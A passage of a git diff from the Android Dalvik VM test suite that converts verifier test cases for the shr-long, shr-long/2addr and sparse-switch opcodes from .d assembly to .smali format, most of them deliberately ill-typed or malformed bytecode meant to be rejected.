+.method public run(FI)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d
deleted file mode 100644
index 427d1c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_6.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v7, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali
new file mode 100644
index 0000000..a75ffb9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_6.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v7, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d
deleted file mode 100644
index ad83dc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_7.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shr-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali
new file mode 100644
index 0000000..f43d88b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_7.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d
deleted file mode 100644
index 0e9c36b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_1.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali
new file mode 100644
index 0000000..863ce76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d
deleted file mode 100644
index a0ebe17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_2.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v8, v11
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali
new file mode 100644
index 0000000..8035697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v11
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d
deleted file mode 100644
index c07af2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_3.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shr-long/2addr v7, v9
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali
new file mode 100644
index 0000000..5a84526
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long/2addr v7, v9
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d
deleted file mode 100644
index 9db034e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_4.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shr-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali
new file mode 100644
index 0000000..1199b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d
deleted file mode 100644
index f1045cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_5.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shr-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali
new file mode 100644
index 0000000..6099a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d
deleted file mode 100644
index 1326e76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_6.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v7, v10
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali
new file mode 100644
index 0000000..5c653bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v7, v10
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d
deleted file mode 100644
index 3b3db0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_7.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shr-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali
new file mode 100644
index 0000000..0c43bd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali
new file mode 100644
index 0000000..c497617
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_1;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali
new file mode 100644
index 0000000..96a069a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_11;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali
new file mode 100644
index 0000000..54eda46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_12;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali
new file mode 100644
index 0000000..63a106f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_13;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_10
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_8
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_c
+    const p1, 0x14
+
+    return p1
+
+    :goto_10
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_8
+        0xa -> :sswitch_c
+        0xf -> :sswitch_c
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali
new file mode 100644
index 0000000..21007d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_14;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_1
+
+    :goto_1
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_8
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_c
+    const p1, 0x14
+
+    return p1
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_8
+        0xa -> :sswitch_c
+        0xf -> :sswitch_c
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali
new file mode 100644
index 0000000..8fc6e23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_2;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(F)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali
new file mode 100644
index 0000000..913ebf1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_3;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p2, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali
new file mode 100644
index 0000000..b1a4daa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
